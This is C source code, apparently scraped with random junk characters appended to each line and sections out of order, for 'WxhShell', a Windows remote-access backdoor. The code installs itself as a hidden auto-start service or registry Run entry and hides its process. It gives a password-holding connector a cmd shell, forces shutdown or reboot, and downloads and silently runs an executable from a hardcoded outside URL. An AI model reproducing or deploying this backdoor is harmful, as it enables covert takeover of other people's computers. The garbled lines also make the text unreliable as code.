  case 'd': { SgXXitg9+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r.ajw&J2  
    if(Boot(SHUTDOWN)) 3SIB #"9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q=?"0i&V  
    else { 6C]!>i}U  
    closesocket(wsh); TaolX*$5  
    ExitThread(0); Xkv>@7ec  
    } #gN{8Yk>  
    break; ^\+6*YE 4  
    } I:6xDDpZG`  
  // 获取shell KktTR`W  
  case 's': { RM<\bZPc  
    CmdShell(wsh); M2xUs  
    closesocket(wsh); bkOm/8k|4  
    ExitThread(0); 5 #kvb$97  
    break; }4 $EN  
  } -nk%He  
  // 退出 tb=L+WAIw  
  case 'x': { D[-Ct  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +H<%)Lk J  
    CloseIt(wsh); T!a8c<'V  
    break; +^69>L2V  
    } JAiV7v4&R  
  // 离开 :m$%D]WY  
  case 'q': { ^d=Z/d[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {Zseu$c  
    closesocket(wsh); ,}2j Fb9z4  
    WSACleanup();  %ANPv=  
    exit(1); t#pY2!/T3  
    break; Gc 8  
        } .`h+fqa  
  } O3BU.X1'%  
  } t o?"{  
hXr vb[6  
  // 提示信息 pP/o2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #ASu SQ  
} lmc-ofEv  
  } 8v6rS-iHP  
`UJW:qqW  
  return; {W4t]Ff  
} sN?:9J8  
x< 3vA|o  
// shell模块句柄 ^y6CV4T+  
int CmdShell(SOCKET sock) *{Z!m@?  
{ Y zvtxX*  
STARTUPINFO si; :YI>AaYWDO  
ZeroMemory(&si,sizeof(si)); 9(PFd%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ut,"[+ J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L%8"d6  
PROCESS_INFORMATION ProcessInfo; JR>B<{xB  
char cmdline[]="cmd"; .z4FuG,R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !*ucVv;  
  return 0; )I$Mh@F  
} S8cFD):q  
He*L"VpWv  
// 自身启动模式 'Hia6 <m3  
int StartFromService(void) a $|u!_)!h  
{ :OZhEBL&b  
typedef struct R 1b`(  
{ VsMNi#?  
  DWORD ExitStatus; yTvK)4&  
  DWORD PebBaseAddress; YOoP]0'L  
  DWORD AffinityMask; 1M{#"t{6  
  DWORD BasePriority; sI'HS+~pU  
  ULONG UniqueProcessId; 3gh^a;uC  
  ULONG InheritedFromUniqueProcessId; OlJj|?z $  
}   PROCESS_BASIC_INFORMATION; ]a%Kn]HI&2  
N~kYT\$b#  
PROCNTQSIP NtQueryInformationProcess; P3|<K-dFAK  
ujh4cp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &tOD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g!8lW   
yLX#: nm  
  HANDLE             hProcess; .WPqK >79|  
  PROCESS_BASIC_INFORMATION pbi; Bx)&MYY}[[  
LYF vzw>M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -XyuA:pxx  
  if(NULL == hInst ) return 0; H}~^,B2;  
OE"Bb   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *Wau7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  M:$nL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }.vy|^X  
s#fmGe"8  
  if (!NtQueryInformationProcess) return 0; 9|m  L  
X[ (J!"+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]]ZBG<#  
  if(!hProcess) return 0; 5~F0'tb|}  
!R@4tSu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f*~fslY,o  
Ye6O!,R  
  CloseHandle(hProcess); A~>=l=  
y_&XF>k91  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X9j+$X \j  
if(hProcess==NULL) return 0; =R"tnjR  
N-|Jj?c  
HMODULE hMod; bW|y -GM  
char procName[255]; O5?Eb  
unsigned long cbNeeded; QMY4%uyY!  
1hWz%c|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4{g|$@s(  
qh 3f  
  CloseHandle(hProcess); xL"% 2nf  
F)w83[5_d  
if(strstr(procName,"services")) return 1; // 以服务启动 :[39g;V}c  
c53`E U  
  return 0; // 注册表启动 "U.=A7r  
} AF}"  
_@;N<$&  
// 主模块 YLo$n  
int StartWxhshell(LPSTR lpCmdLine) M[{:o/]<  
{ 1aG}-:$t'  
  SOCKET wsl; ZM?r1Z4  
BOOL val=TRUE; }"Cn kg  
  int port=0; v],DBw9  
  struct sockaddr_in door; 6zWvd  
WXU6 J?tIm  
  if(wscfg.ws_autoins) Install(); 6f!mk:\T.  
"tARJW  
port=atoi(lpCmdLine); L />GYx  
m~eWQ_a]C@  
if(port<=0) port=wscfg.ws_port; h6N}sLM{0  
"-?Y UY`  
  WSADATA data; z-G (!]:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lz 6 Aj  
r|@?v,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m5X=P5U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Se8y-AL6x>  
  door.sin_family = AF_INET; $H}Mn"G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zOdKB2_J7  
  door.sin_port = htons(port); E=NY{| >  
w#,v n8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R-fjxM*  
closesocket(wsl); f4_G[?9,  
return 1; '=.Uz3D'0  
} JUFO.m^w  
Q8oo5vqQ#C  
  if(listen(wsl,2) == INVALID_SOCKET) { |plo65  
closesocket(wsl);  &7&*As  
return 1; 6DW|O<k^j  
} R <\Yg3m8  
  Wxhshell(wsl); 9m4rNvb  
  WSACleanup(); s= fKAxH  
@&##c6\$  
return 0; 2*YXm>|1  
pNFIO t:(  
} jt--w"|-r  
#>B1$(@  
// 以NT服务方式启动 pH%c7X/[3L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MA# !<b('  
{ sLp LY1X  
DWORD   status = 0; rC `s;w  
  DWORD   specificError = 0xfffffff; oJT@'{;*z  
vh8Kd' y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]#.&f]6l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &X,)+ b=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %iC63)(M  
  serviceStatus.dwWin32ExitCode     = 0; y03a\K5[KQ  
  serviceStatus.dwServiceSpecificExitCode = 0; O Zm[i H  
  serviceStatus.dwCheckPoint       = 0; @ -d4kg  
  serviceStatus.dwWaitHint       = 0; \#,#_  
"Cj#bUw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i6 ?JX@I  
  if (hServiceStatusHandle==0) return; guXpHF=  
{OrE1WHB  
status = GetLastError(); ]?$y}  
  if (status!=NO_ERROR) N-YZ0/c  
{ 2{Iz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^X%4@,AE  
    serviceStatus.dwCheckPoint       = 0; d}cJ5 !d  
    serviceStatus.dwWaitHint       = 0; ldvxYq<:  
    serviceStatus.dwWin32ExitCode     = status; K0=E4>z,`q  
    serviceStatus.dwServiceSpecificExitCode = specificError; G3^]Wwu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rxp9B>~  
    return; 6G$tYfX  
  } 1>x@1Mo+K  
g 'a?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B^~Bv!tHWr  
  serviceStatus.dwCheckPoint       = 0; %E7.$Gj%  
  serviceStatus.dwWaitHint       = 0; p!QneeA`&X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QfWu~[  
} GSnHxs)  
v^_]W3K  
// 处理NT服务事件,比如:启动、停止 bvS\P!m\c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E(+wl  
{ -0WCwv  
switch(fdwControl) psy(]Pf  
{ Pt0}9Q  
case SERVICE_CONTROL_STOP: (G%gVk]  
  serviceStatus.dwWin32ExitCode = 0; s{J!^q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WTv\HI2X !  
  serviceStatus.dwCheckPoint   = 0; I jztj  
  serviceStatus.dwWaitHint     = 0; DLVs>?Y  
  { [HiTR!o*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <L ( =  
  } y"L`bl A9}  
  return; O[p^lr(B7  
case SERVICE_CONTROL_PAUSE: 0+y~RTAVB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  ,bp pM  
  break; <O)X89dFM  
case SERVICE_CONTROL_CONTINUE: u4M2Ec  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C{i;spc!bi  
  break; #]a51Vss  
case SERVICE_CONTROL_INTERROGATE: vek:/'sj3p  
  break; ,W8Iabi^  
}; C*6)Ut '  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y&=19 A#  
} "M0l;  
k+r9h'd   
// 标准应用程序主函数 cPaWJ+c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lrX0c$)  
{ 't?7.#,6O  
z/&a\`DsU  
// 获取操作系统版本 N z3%}6F:  
OsIsNt=GetOsVer(); xXxh3 k\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g74z]Uj.B  
9f%y)[ \  
  // 从命令行安装 O0(Q0Ko  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7O9hn2?e  
^zPEAXm  
  // 下载执行文件 (yAvDyJOn  
if(wscfg.ws_downexe) { o"}&qA;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n.XhK_6n]M  
  WinExec(wscfg.ws_filenam,SW_HIDE); <eFAI}=s  
} J[Yg]6  
CC(*zrOd-  
if(!OsIsNt) { S{(p<%)[  
// 如果时win9x,隐藏进程并且设置为注册表启动 q(tG bhQ  
HideProc(); P(gVF |J?  
StartWxhshell(lpCmdLine); :htq%gPex9  
} O:=|b]t  
else ,\9mAt1O  
  if(StartFromService()) VMye5  P  
  // 以服务方式启动 ._MAHBx+G  
  StartServiceCtrlDispatcher(DispatchTable); ]v\egfW,W  
else j5h 6u,^:  
  // 普通方式启动 d J%Rk#?;A  
  StartWxhshell(lpCmdLine); M$4=q((0  
~z _](HKoS  
return 0; /`O]etr`d  
} m":SE?{{&  
-S%q!%}u  
G!VF*yW8  
u !3]RGJ  
=========================================== K7xWE,y  
6^IqSNn-  
'Ywpdzz[  
{29S`-|P  
#DK3p0d  
waWKpk1Wo  
" mh#FY Sp  
9kX=99kf[  
#include <stdio.h> =e!l=d|/  
#include <string.h> )dIfr  
#include <windows.h> g?[& 0r1  
#include <winsock2.h> Ph+X{|  
#include <winsvc.h> z(` }:t  
#include <urlmon.h> bA<AG*  
r -q3+c^+  
#pragma comment (lib, "Ws2_32.lib") iA3>X-x   
#pragma comment (lib, "urlmon.lib") d=Df.H+3  
jWK@NXMH  
#define MAX_USER   100 // 最大客户端连接数 ?cs]#6^  
#define BUF_SOCK   200 // sock buffer rx6-~0!eI=  
#define KEY_BUFF   255 // 输入 buffer E R]sDV  
BF@5&>E  
#define REBOOT     0   // 重启 {s8U7rmML  
#define SHUTDOWN   1   // 关机 << ;HY}s  
7{An@hNh  
#define DEF_PORT   5000 // 监听端口 LZc$:<J<6  
lTr*'fX  
#define REG_LEN     16   // 注册表键长度 a\{1UD  
#define SVC_LEN     80   // NT服务名长度 P wB g  
%nmY:}um  
// 从dll定义API "<w2v'6S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M. )}e7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^6a S]t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); * K,hrpYR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $' (QTEM  
) Kc%8hBv  
// wxhshell配置信息 *m$PH"  
struct WSCFG { )W1(tEq59  
  int ws_port;         // 监听端口 BU9J_rCIv  
  char ws_passstr[REG_LEN]; // 口令 -!|WZ   
  int ws_autoins;       // 安装标记, 1=yes 0=no  gmRT1T  
  char ws_regname[REG_LEN]; // 注册表键名 Jh43)#G-  
  char ws_svcname[REG_LEN]; // 服务名 zRV!(Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]dHB}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^.D}k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a;"Uz|rz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1^L`)Up  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JYwyR++uo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >sQ2@"y)s2  
w!WRa8C  
}; }U%^3r-  
.~q)eV  
// default Wxhshell configuration ;NH~9# t:  
struct WSCFG wscfg={DEF_PORT, !6zyJc @01  
    "xuhuanlingzhe", T3Frc ]6,4  
    1, SLtSqG7~  
    "Wxhshell", iz Ph1YA  
    "Wxhshell", iUIy,Y  
            "WxhShell Service", @8=vFP'  
    "Wrsky Windows CmdShell Service", I(]BMMj  
    "Please Input Your Password: ", gwSN>oj &  
  1, _)KY  
  "http://www.wrsky.com/wxhshell.exe", dh^+l;!L  
  "Wxhshell.exe" IV{FH&t^T"  
    }; [dj5 $l|  
u R\m`  
// 消息定义模块 rQ    
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %M{k.FE(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Mlv<r=E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g ?afX1Sg  
char *msg_ws_ext="\n\rExit."; g .x=pt  
char *msg_ws_end="\n\rQuit."; 2yN%~C?$  
char *msg_ws_boot="\n\rReboot..."; 2wx!Lpr<i_  
char *msg_ws_poff="\n\rShutdown..."; P</s)"@  
char *msg_ws_down="\n\rSave to "; _+ twq i  
~->Hlxze'K  
char *msg_ws_err="\n\rErr!"; _i3i HR?  
char *msg_ws_ok="\n\rOK!"; ,0!uem}1i  
l80bHp=  
char ExeFile[MAX_PATH]; 8p (!]^z  
int nUser = 0; m|pTn#*`  
HANDLE handles[MAX_USER]; YC]PN5[1!  
int OsIsNt; mEoA#U  
b'velj3A  
SERVICE_STATUS       serviceStatus; RT% x&j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0Injyc*bMF  
\\ jIl3Z  
// 函数声明 ;rd6ko  
int Install(void);  ~~PgF"v  
int Uninstall(void); M@|w[ydQG  
int DownloadFile(char *sURL, SOCKET wsh); U~aWG\h#X  
int Boot(int flag); )YuRjBcp,"  
void HideProc(void); +}Xr1fr{jw  
int GetOsVer(void); (/"thv5vT{  
int Wxhshell(SOCKET wsl); )ll?-FZ   
void TalkWithClient(void *cs); T yU&QXb  
int CmdShell(SOCKET sock); BlXX:aZv  
int StartFromService(void); /7bw: h;  
int StartWxhshell(LPSTR lpCmdLine); AD^X(rW  
coDj L.u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4d!S#zx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Nd`HB=ShJ  
3bWum  
// 数据结构和表定义 xE%O:a?S  
SERVICE_TABLE_ENTRY DispatchTable[] = OI+E (nA  
{ %drJ p6n%  
{wscfg.ws_svcname, NTServiceMain}, 3&es]1b  
{NULL, NULL} }wG,BB%N  
}; wGPotPdE2  
{  |s/]W  
// 自我安装 >):m-I  
int Install(void) mA& =q_gS  
{ Dy su{rL  
  char svExeFile[MAX_PATH]; p ZtgIS(3  
  HKEY key; lLH$`Wnv  
  strcpy(svExeFile,ExeFile); e1Ob!N-  
3[VWTq)D=  
// 如果是win9x系统,修改注册表设为自启动 [*<.?9n)or  
if(!OsIsNt) { (vKI1^,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  }mKwFVZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zvxp%dES  
  RegCloseKey(key); :/B:FY=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {VR`;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ( : {"C6x  
  RegCloseKey(key); NS@{~;#R  
  return 0; sGSsUO:@j;  
    } ,'~ #Ch  
  } J{d(1gSZ  
} U R}kB&t  
else { K"L_`.&Q  
U IfH*6X  
// 如果是NT以上系统,安装为系统服务 W6vf=I@f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AM'gnP>  
if (schSCManager!=0) *8PN!^  
{ q/$ GE,"  
  SC_HANDLE schService = CreateService \^LWCp,C"  
  ( 1]j^d  
  schSCManager, > @+#  
  wscfg.ws_svcname, X(]Zr  
  wscfg.ws_svcdisp, [B,'=,Hbs  
  SERVICE_ALL_ACCESS, }qAVN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L1wZU,o  
  SERVICE_AUTO_START, P.c O6+jGR  
  SERVICE_ERROR_NORMAL, jeq:  
  svExeFile, RX'-99M  
  NULL, w:}C8WKw  
  NULL, [(|^O>k8c  
  NULL, fD{II+T  
  NULL, ~Q?!W0ZBE  
  NULL CZY7S*fL  
  ); [![ G7H%f  
  if (schService!=0) EWA;L?g|A  
  { J*j5#V];  
  CloseServiceHandle(schService); =h|wwQE  
  CloseServiceHandle(schSCManager); rnO0-h-;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +dw!:P &  
  strcat(svExeFile,wscfg.ws_svcname); %hc'dZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1* ^'\W.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0z7L+2#b^  
  RegCloseKey(key); dv , C6t2  
  return 0; ?g3 ]~;#  
    } fywvJ$HD]L  
  } k9mi5Oc  
  CloseServiceHandle(schSCManager); b#/i.!:a  
} U]1(&MgV  
} \0ov[T N.>  
\tx%WC  
return 1; 0I 5&a  
} h0Ee?=  
B_ k2u  
// 自我卸载 DK6? E\<  
int Uninstall(void) i)8N(HN  
{ #f*g]p{   
  HKEY key; >&WhQhZ3kg  
,."b3wR[w  
if(!OsIsNt) { ZYcd.?:6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C#;@y|Rw  
  RegDeleteValue(key,wscfg.ws_regname); R{?vQsLk  
  RegCloseKey(key); 'eyJS`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?gSSli[  
  RegDeleteValue(key,wscfg.ws_regname); R^%e1 KO]  
  RegCloseKey(key); +}a C-&  
  return 0; /syVGmS'M  
  } FRZs[\I|iT  
} g$FEEDF  
} ]Bnwk o  
else { ,a0pAj  
;Lo&}U3F,!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HI`q1m.  
if (schSCManager!=0) dlDki.  
{ f<<rTE6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,%W<O.  
  if (schService!=0) XV>&F{  
  { inAAgW#s}  
  if(DeleteService(schService)!=0) { <x0H@?f7  
  CloseServiceHandle(schService); -.iNNM&a  
  CloseServiceHandle(schSCManager); |cDszoT /  
  return 0; 0q,pi qjO  
  } I :)W*SK  
  CloseServiceHandle(schService); k1='c7s  
  } Y]N,.pv=  
  CloseServiceHandle(schSCManager); hat>kXm2K  
} `uo, __y  
} ;AIc?Cg  
y&oNv xG-  
return 1; sbo^"&%w  
} WR#0<cz(  
PB53myDQ  
// 从指定url下载文件 XIAeCU  
int DownloadFile(char *sURL, SOCKET wsh) Quzo8 u  
{ p $ouh  
  HRESULT hr; lA^+Flh  
char seps[]= "/"; {6G?[ `&ca  
char *token; 'O?~p55T  
char *file; o' 'wCr%  
char myURL[MAX_PATH]; iY0>lDFm.  
char myFILE[MAX_PATH]; aWy]9F&C:  
z ;Q<F  
strcpy(myURL,sURL); 2i7e#  
  token=strtok(myURL,seps); 8)yI<`q6  
  while(token!=NULL) {gsdG-  
  { h}L}[   
    file=token; fuX'~$b.fA  
  token=strtok(NULL,seps); bZ 443SG  
  } T$+-IAE  
_&#S@aGw  
GetCurrentDirectory(MAX_PATH,myFILE); |Au]1}  
strcat(myFILE, "\\"); L}sx<=8.m  
strcat(myFILE, file); \or G63T:  
  send(wsh,myFILE,strlen(myFILE),0); .*YD&(  
send(wsh,"...",3,0); ?okx<'"[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jS<_ )  
  if(hr==S_OK) tPfFqqT  
return 0; ]zfG~^.  
else #VVr"*7$  
return 1; -\,zRIOK  
p'94SXO_  
} |=dC )Azs  
D@oCP =m<  
// 系统电源模块 {ZsdLF#  
int Boot(int flag) 1HT_  
{ E?)656F[  
  HANDLE hToken; mQ~:Y  
  TOKEN_PRIVILEGES tkp; W# US#<9Y  
Te,$M3|  
  if(OsIsNt) { 9 QC.TG@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -&2B@]]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sOU_j:A80;  
    tkp.PrivilegeCount = 1; [I;^^#'P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q,>?QBct*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YDC&u8  
if(flag==REBOOT) { ZD>a>]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TX [%(ft  
  return 0; q MYe{{r  
} 8, "yNq  
else { x_#-tB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LiQgR 6j  
  return 0; I5m][~6.?  
} ~b~2 >c9  
  } *^%*o?M~  
  else { zj{r^D$  
if(flag==REBOOT) { {eS|j=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %?Y[Bk3p  
  return 0; bM,1f/^  
} %@"!8Y(j  
else { _aWl]I){5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LE6.nmvS  
  return 0; eYX5(`c[  
} kzn[ =P  
} e4>"92hX  
UBv@+\Y8m  
return 1; (~~w7L s  
} RoGwK*j0+  
7nq3S  
// win9x进程隐藏模块 K14^JAdY/  
void HideProc(void) PxS4,`#~  
{ BQH}6ueZ  
-s|8<A||"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !~]<$WZV  
  if ( hKernel != NULL ) \%Ves@hG>  
  { C)'q QvA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %UUH"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ev1 W6B-a  
    FreeLibrary(hKernel); yXI >I  
  } 1923N]b  
[u}(57DS  
return; F!zP<A "  
} 2d%}- nw  
)SryDRT  
// 获取操作系统版本 [r+ZE7$2b"  
int GetOsVer(void) ,)PiP/3B  
{ E%oY7.~-  
  OSVERSIONINFO winfo; ,Ys"W x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9O{b]=>wq  
  GetVersionEx(&winfo); l3Njq^T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y[B>~m8$  
  return 1; HK\~Qnq  
  else ~'37`)]z  
  return 0; =K'cM=WM6  
} QrO\jAZ{Ag  
cdqB,]"  
// 客户端句柄模块 X\EVTd)@  
int Wxhshell(SOCKET wsl) 2(5ebe[  
{ qTZFPfyU  
  SOCKET wsh; n  -(  
  struct sockaddr_in client; su*Pk|6%  
  DWORD myID; 'lHdOG  
lj+u@Z<xA  
  while(nUser<MAX_USER) V%$/#sza  
{ -*5Rnx|Y{  
  int nSize=sizeof(client); .920{G?l5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bR@p<;G|  
  if(wsh==INVALID_SOCKET) return 1; =X.LA%Sf=u  
Z{&cuo.@<]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T~Q JO0  
if(handles[nUser]==0) 24 1*!  
  closesocket(wsh); @(r /dZc  
else  hI9  
  nUser++; __mF ?m  
  } BIuK @$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \%UkSO\nO3  
PkI:*\R  
  return 0; 87hq{tTs]  
} &0f5:M{P  
vfVj=DYj  
// 关闭 socket 8@so"d2e  
void CloseIt(SOCKET wsh) y;/VB,4V  
{ Zd"^</ S  
closesocket(wsh);  : ]C~gc  
nUser--; N('&jHF  
ExitThread(0); n:MdYA5,m  
} 6@DF  
/Q,mJ.CnSR  
// 客户端请求句柄 J:V?EE,\-  
void TalkWithClient(void *cs) jy-{~xdg[  
{ >/|q:b^2r  
/SYw;<=  
  SOCKET wsh=(SOCKET)cs; @)J+,tg/7  
  char pwd[SVC_LEN]; M4as  
  char cmd[KEY_BUFF]; f^W;A"+  
char chr[1]; 9 (QJT}qC  
int i,j; j?'GZ d"B  
.Wjs~0c  
  while (nUser < MAX_USER) { H;RwO@v  
"AE5 V'  
if(wscfg.ws_passstr) { Omd .9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]+X@ 7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t.mVO]dsj  
  //ZeroMemory(pwd,KEY_BUFF); -GxaV #{  
      i=0; B}^w_C2  
  while(i<SVC_LEN) { 4?B\O`sy.  
AK@9?_D  
  // 设置超时 c/sC&i;%O  
  fd_set FdRead; dAuJXGo  
  struct timeval TimeOut; p5G?N(l  
  FD_ZERO(&FdRead); S]+ :{9d  
  FD_SET(wsh,&FdRead); K6R.@BMN  
  TimeOut.tv_sec=8; FSND>\>  
  TimeOut.tv_usec=0; EFz&N\2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4EY)!?;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h $2</J"  
#\=FO>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a\r\PBi  
  pwd=chr[0]; !r<pmr3f@7  
  if(chr[0]==0xd || chr[0]==0xa) { =E.wv  
  pwd=0; @;"|@!l|  
  break; E>K!Vrh-L  
  } z<Nfm  
  i++; 7 qS""f7  
    } -f DnA4;  
hIT+gnhh  
  // 如果是非法用户,关闭 socket >7 ="8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i{`:(F5*  
} v/_  
Hm*/C4B`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \kZ?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |:gf lseE  
ff^=Ruf$  
while(1) { W)bLSL]`E  
ueUuJxq)  
  ZeroMemory(cmd,KEY_BUFF); }~L.qG  
{tWf  
      // 自动支持客户端 telnet标准    qi^7  
  j=0; ~A\GT$  
  while(j<KEY_BUFF) { > ;*b|Ik  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y+NN< EY@  
  cmd[j]=chr[0]; `x*Pof!Io  
  if(chr[0]==0xa || chr[0]==0xd) { [TmIVQ!B  
  cmd[j]=0; c24dSNJg,  
  break; U>Slc08N  
  } Qnsi`1mASr  
  j++; iUN Ib  
    } LcTP #  
#"G]ke1l$  
  // 下载文件 lgk  .CC  
  if(strstr(cmd,"http://")) { e~=;c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X9V*UXTc  
  if(DownloadFile(cmd,wsh)) @J/K-.r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); koug[5T5  
  else "]} bFO7C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dl.p\t(1  
  } U2W|:~KM  
  else { _z|65H  
C&(N I  
    switch(cmd[0]) { Tw-;7Ae  
